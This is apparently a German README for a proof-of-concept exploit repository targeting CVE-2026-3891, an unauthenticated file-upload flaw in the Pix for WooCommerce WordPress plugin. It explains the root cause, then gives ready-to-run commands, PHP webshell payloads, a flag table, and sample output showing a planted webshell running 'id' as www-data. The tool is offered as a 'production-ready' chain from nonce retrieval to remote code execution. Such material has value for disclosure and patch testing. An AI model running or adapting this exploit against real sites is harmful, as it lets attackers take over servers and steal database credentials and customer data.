
PoC für CVE-2026-3891 – Nicht authentifizierter Datei-Upload-RCE in Pix für WooCommerce ≤ 1.5.0. Automatisierter Nonce-Abruf, PHP-Upload und Befehlsausführung.
Proof-of-Concept-Exploit für CVE-2026-3891 – nicht authentifizierter Upload beliebiger Dateien, der zu Remote-Codeausführung im WordPress-Plugin Pix for WooCommerce (≤ 1.5.0) führt.
CVE-2026-3891 ist eine kritische Schwachstelle im Pix for WooCommerce-Plugin, die alle Versionen bis einschließlich 1.5.0 betrifft. Das Plugin erzwingt in seinem AJAX-Handler lkn_pix_for_woocommerce_c6_save_settings keine ordnungsgemäße Autorisierung und keine Dateitypprüfungen. Ein nicht authentifizierter Angreifer kann diesen Fehler ausnutzen, um beliebige PHP-Dateien in ein öffentlich zugängliches Verzeichnis hochzuladen und Remote-Codeausführung auf dem zugrunde liegenden WordPress-Server zu erreichen.
Dieses Repository enthält einen produktionsreifen PoC, der die gesamte Angriffskette automatisiert – vom Abrufen eines gültigen Nonce bis zum Hochladen einer Webshell – mit robuster Fehlerbehandlung und einer ansprechenden CLI-Oberfläche.
certificate_crt_path korrekt.--check).[ * ], [ + ], [ - ], [ ! ] gekennzeichnet.Die Grundursache liegt in zwei AJAX-Aktionen, die vom Plugin registriert werden:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
Diese Aktion ist an wp_ajax_nopriv_* gebunden und dadurch für nicht authentifizierte Besucher zugänglich. Sie erzeugt einen Nonce für die Aktion lkn_pix_for_woocommerce_c6_settings_nonce und gibt ihn in einem JSON-Envelope zurück:
{"success":true,"data":{"nonce":"abc123..."}}
Es wird keine Berechtigungsprüfung oder Benutzerauthentifizierung durchgeführt – jeder kann einen gültigen Nonce anfordern.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
Dieser Handler speichert Plugin-Einstellungen, einschließlich eines Datei-Upload-Felds namens certificate_crt_path. Obwohl der Upload über den Helper media_handle_upload von WordPress erfolgt, versäumt es das Plugin:
current_user_can)..php-Dateien erlaubt).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
was direkt über das Web erreichbar ist.Da der Nonce nur vor CSRF schützt und von jedem abgerufen werden kann, kann ein Angreifer diese beiden Aktionen verketten, um beliebigen PHP-Code hochzuladen und auszuführen.
www-data oder apache).wp-config.php, Datenbank-Zugangsdaten und Kundendaten.requests-Bibliothek (Installation über pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
Für mehr Kontrolle können Befehlszeilenoptionen verwendet werden:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Flag | Beschreibung | Standard |
|---|---|---|
target (positional) | Basis-URL der WordPress-Site. | Erforderlich |
-f, --filename | Name der hochgeladenen PHP-Datei. | woocommerce.php |
-p, --payload | Hochzuladender PHP-Code. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Anfrage-Timeout in Sekunden. | 15 |
-r, --retries | Maximale Wiederholungsversuche für den Nonce-Abruf. | 2 |
--no-banner | ASCII-Art unterdrücken. | (aus) |
--no-verify | Zugänglichkeitsprüfung nach dem Upload überspringen. | (aus) |
--check | id nach dem Upload auf der Webshell ausführen. | (aus) |